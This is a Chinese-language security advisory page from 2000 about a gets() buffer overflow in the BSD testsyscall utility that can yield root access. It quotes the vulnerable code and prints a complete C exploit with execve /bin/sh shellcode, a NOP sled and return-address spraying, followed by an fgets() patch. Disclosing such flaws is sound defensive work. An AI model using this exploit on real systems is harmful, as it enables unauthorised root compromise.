首页 -> 安全研究

安全研究

安全漏洞
*BSD testsyscall远程溢出漏洞

发布日期:2000-06-23
更新日期:2000-06-23

受影响系统:

- OpenBSD
- NetBSD
- FreeBSD
描述:

testsyscall是一个来对写LKM使用的系统调用进行测试的工具。它可以通过"inetd"守护程序
启动,也可以手工启动。它存在一个缓冲区溢出漏洞,可能导致远程获取root权限。

testsyscall从标准输入中得到系统调用号,并使用syscall()函数去执行相应的系统调用
但是,testsyscall没有对用户输入的数据进行边界检查。数据将被拷贝到一个80字节的固
定大小的缓冲区中,如果用户输入的数据超过80字节,就可能发生缓冲区溢出。如果testsyscall
在inetd中启动,用户可能远程获取root权限。如果在本地启动,本地用户也可能获取更高
级别的权限。

有问题的代码部分在:

/*      $NetBSD: testsyscall.c,v 1.2 1997/10/13 11:20:53 lukem Exp $
*/
#include <stdio.h>

main()
{
        char    buf[ 80];
        int     err = 0;

        printf( "Table offset as reported by modstat: ");
        if( gets( buf) == NULL) {
                printf( "[ABORT]\n");
                exit( 1);
        }
...

我们看到由于使用gets()没有进行边界检查,导致了这个安全问题的产生。

<* 来源: RLoxley    
         shinex@suburbs.net    
*>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



// testsyscall.c exploit by shinex
// made for rlox

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
  "\xeb\x23"
   "\x5e"
   "\x8d\x1e"
   "\x89\x5e\x0b"
   "\x31\xd2"
   "\x89\x56\x07"
   "\x89\x56\x0f"
   "\x89\x56\x14"
   "\x88\x56\x19"
   "\x31\xc0"
   "\xb0\x3b"
   "\x8d\x4e\x0b"
   "\x89\xca"
   "\x52"
   "\x51"
   "\x53"
   "\x50"
   "\xeb\x18"
   "\xe8\xd8\xff\xff\xff"
   "/bin/sh"
   "\x01\x01\x01\x01"
   "\x02\x02\x02\x02"
  "\x03\x03\x03\x03"
  "\x9a\x04\x04\x04\x04\x07\x04";

unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}

void main(int argc, char **argv)
{
FILE * pi;
char *buf,*p;
unsigned long *adr;

int i,off;

if(argc < 2)
{
puts("usage, testsyscallexploit \"path_to_testsyscall\" \"optional_offset\"");
exit(-1);
}

        if (argc>2)
                off=atoi(argv[2]);
        else off=4;
printf("using buffer delta:%d\n",off);

if((p = buf = malloc(2268+28+off))==NULL)
  exit(-1);

memset(p, 0x90, 2268+off);
p += 2268+off - strlen(shellcode);

for(i = 0; i < strlen(shellcode); i++)
  *p++ = shellcode[i];
adr = (long *)p;
for(i = 0; i < 7; i++)
  *adr++ = get_esp();
p = (char *)adr;
*p = 0;

pi = popen(argv[1], "w");

if(pi == NULL) {
perror("popen");
exit(-1);
}

*p = '\n';

*(p+1) = '\0';

if(fwrite(buf, strlen(buf), 1, pi)<0)
{
perror("fwrite");
exit(-1);
}

//execl(argv[1], argv[1],buf, NULL);
}


建议:

临时补丁程序:
# cat hp_testsyscall_patch.diff
49c49
<       if( gets( buf) == NULL) {
---
>       if( fgets( buf, 50, stdin) == NULL) {


浏览次数:8905
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障